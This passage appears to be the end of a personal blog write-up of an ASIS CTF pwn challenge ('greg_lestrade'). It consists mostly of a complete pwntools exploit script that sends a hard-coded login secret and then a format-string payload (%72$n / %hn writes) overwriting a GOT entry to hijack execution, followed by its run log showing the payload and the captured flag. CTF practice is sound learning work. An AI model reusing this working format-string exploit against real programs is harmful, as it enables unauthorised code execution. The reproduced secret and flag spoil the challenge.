 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python2
from pwn import *
from IPython import embed

DEBUG = True
target = 0x400876

if DEBUG:
    p = process("./greg_lestrade")
else:
    p = remote("146.185.132.36", 12431)

def wait():
    sleep(0.2)

def log(message, sev=0):
    msg = ""
    if sev == 0:
        msg += "[INFO] - "
    elif sev == 1:
        msg += "[WARN] - "
    elif sev == 2:
        msg += "[CRIT] - "
    else:
        msg += "\t"

    msg += str(message)
    print(msg.rstrip())

def main():
    secret1 = "7h15_15_v3ry_53cr37_1_7h1nk"
    log("Starting muh exploit...")

    if DEBUG:
        log("In debug mode, [enter] to continue...")
        raw_input()

    for i in range(3):
        log(p.readline())

    log("Sending secret #1...: {}".format(secret1))
    p.sendline(secret1)

    for i in range(2):
        log(p.readline())

    p.sendline("1")
    p.readline()

    log("What we have here is a failure to printf()...", sev=1)
    #value i need to write to GOT (0x602040):
    #writevalue = '400876'
    #write in 2 halves:

    #first clear out the lower half of GOT entry:
    writeStr0 = "%72$n"
    #now we write 2nd half of desired word, 0x0040:
    writeStr1 = "%65123lx.%72$hn"
    writeAddr1 = p64(0x602042)
    #now we write first half of desired word, 0x0876
    writeStr2 = "%2101lx.%73$hn"
    writeAddr2 = p64(0x602040)

    #now we construct our payload of the ages:
    payload = 'a' * (0x1fe - len(writeStr0 + writeStr1 + writeStr2)) + writeStr0 + writeStr1 + \
        writeStr2 + '\x0a\x00' + writeAddr1 + writeAddr2
    log("Sending Payload!", sev=2)
    log("LOOK AT THIS PAYLOAD: {}".format(payload), sev=2)
    p.sendline(payload)

    log("Triggering exploit...", sev=2)
    p.sendline("1")

    p.readline()
    for i in range(3):
        p.readline()
    log("Retrieving flag...", sev=2)
    print(p.readline())

    if DEBUG:
        embed()

    p.close()

if __name__ == "__main__":
    main()

And here is what it looks like running the script:

-> % ./solver.py  
[+] Opening connection to 146.185.132.36 on port 12431: Done
[INFO] - Starting muh exploit...
[INFO] - [*] Welcome admin login system!
[INFO] -
[INFO] - Login with your credential...
[INFO] - Sending secret #1...: 7h15_15_v3ry_53cr37_1_7h1nk
[INFO] - Credential : 0) exit
[INFO] - 1) admin action
[WARN] - What we have here is a failure to printf()...
[CRIT] - Sending Payload!
[CRIT] - LOOK AT THIS PAYLOAD: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa%72$n%65123lx.%72$hn%2101lx.%73$hn
\x00B `\x00\x00\x00\x00\x00@ `\x00\x00\x00\x00\x00
[CRIT] - Triggering exploit...
[CRIT] - Retrieving flag...
ASIS{_ASIS_N3W_pwn_1S_goblin_pwn4b13!}

[*] Closed connection to 146.185.132.36 port 12431

Overall this was a pretty straightforward format string exploitation challenge that had me practicing the fundaments. Please let me know if you have any questions or suggestions!

Till next time,
Chris